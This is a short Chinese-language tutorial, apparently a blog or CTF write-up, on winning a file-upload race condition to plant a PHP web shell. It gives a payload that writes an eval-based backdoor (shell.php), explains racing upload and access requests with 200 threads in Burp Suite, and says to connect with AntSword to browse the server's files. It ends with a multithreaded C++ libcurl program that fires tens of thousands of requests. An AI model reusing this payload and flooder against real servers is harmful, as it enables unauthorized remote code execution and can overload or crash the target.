当然文件上传竞争优势就是术语,原理很简单实现很困难,困难的是需要顺畅的网络。 这里先写好palyload---
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["pass"]); ?>'); ?>
然后呢把上传的包,和请求的包拿下
上传的包
请求的包
然后设置两个没有负载,调节线程数为200,同时开始攻击
看到网页状态码,为200就停止攻击,不然打开的shell会阻塞文件的删除,大量的同名文件堆积会导致服务器崩掉,得不偿失。
上传到shell后就可以用蚁剑访问啦
进入到服务器文件系统
当然burpsuite的发包速度好像有点慢用c做个多线程攻击程序
#include <curl/curl.h>
#include <string>
#include <thread>
#include <vector>
using namespace std;
size_t write_callback(char *ptr, size_t size, size_t nmemb, void *userdata) {
return size * nmemb;
}
void send_request(string url) {
CURL *curl;
CURLcode res;
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
// 发送请求
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << endl;
}
curl_easy_cleanup(curl);
}
}
int main() {
const string url = "http://example.com/index.html";
const int thread_num = 10;
const int request_num_per_thread = 10000;
vector<thread> threads;
for (int i = 0; i < thread_num; i++) {
threads.emplace_back([url, request_num_per_thread](){
for (int j = 0; j < request_num_per_thread; j++) {
send_request(url);
}
});
}
for (auto& t : threads) {
t.join();
}
cout << "All requests complete." << endl;
return 0;
}